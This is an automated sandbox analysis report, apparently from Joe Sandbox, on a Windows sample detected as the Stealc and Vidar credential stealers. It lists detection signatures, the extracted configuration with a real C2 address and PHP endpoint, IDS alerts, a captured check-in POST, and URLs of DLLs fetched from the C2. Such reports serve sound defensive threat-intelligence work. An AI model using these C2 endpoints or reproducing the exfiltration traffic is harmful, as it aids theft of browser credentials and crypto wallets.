Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541691
MD5:	421d06b2c1575e58b9990147d041a88e
SHA1:	1a410b48f33a6f21ad87e894925ebc732b5b8886
SHA256:	4a888165262786f1aff5d1a5f32c8ea2462c949e768a3b9f34e9ad3d4f06053f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3628 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 421D06B2C1575E58B9990147D041A88E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2122152470.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3628	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3628	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3628	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3628	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.5e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:12.994278+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:12.987504+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:13.272757+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:14.424150+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:13.301268+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:12.570169+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T02:18:15.202788+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:23.269684+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:25.035739+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:26.063241+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:26.758291+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:28.450709+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-25T02:18:28.943757+0200	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 36 35 37 39 34 35 41 46 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="hwid"F3657945AFA6894617998------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="build"doma------DBAEGCGCGIEGDHIDHJJE--

Source: file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dlln
Source: file.exe, 00000000.00000002.2370333597.0000000029B04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2370333597.0000000029B04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllA
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllX
Source: file.exe, 00000000.00000002.2370333597.0000000029B04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll&
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354236515.0000000001671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2370333597.0000000029B04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php)
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpK
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpY
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpfW
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpm
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmo
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpt
Source: file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwindow-state.json?
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2354236515.0000000001687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy
Source: file.exe, 00000000.00000002.2354236515.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.374
Source: file.exe, 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2375567683.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2354236515.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, IDHJEBGIEBFIJKEBFBFH.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2354236515.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, HDBGHDHC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2324293648.000000002FCDC000.00000004.00000020.00020000.00000000.sdmp, KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2324293648.000000002FCDC000.00000004.00000020.00020000.00000000.sdmp, KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2324293648.000000002FCDC000.00000004.00000020.00020000.00000000.sdmp, KFIJJJEBGCFBGDHIDGCAEGDAAF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,

0_2_6C6BB700

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1	0_2_009A88A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0096428F	0_2_0096428F
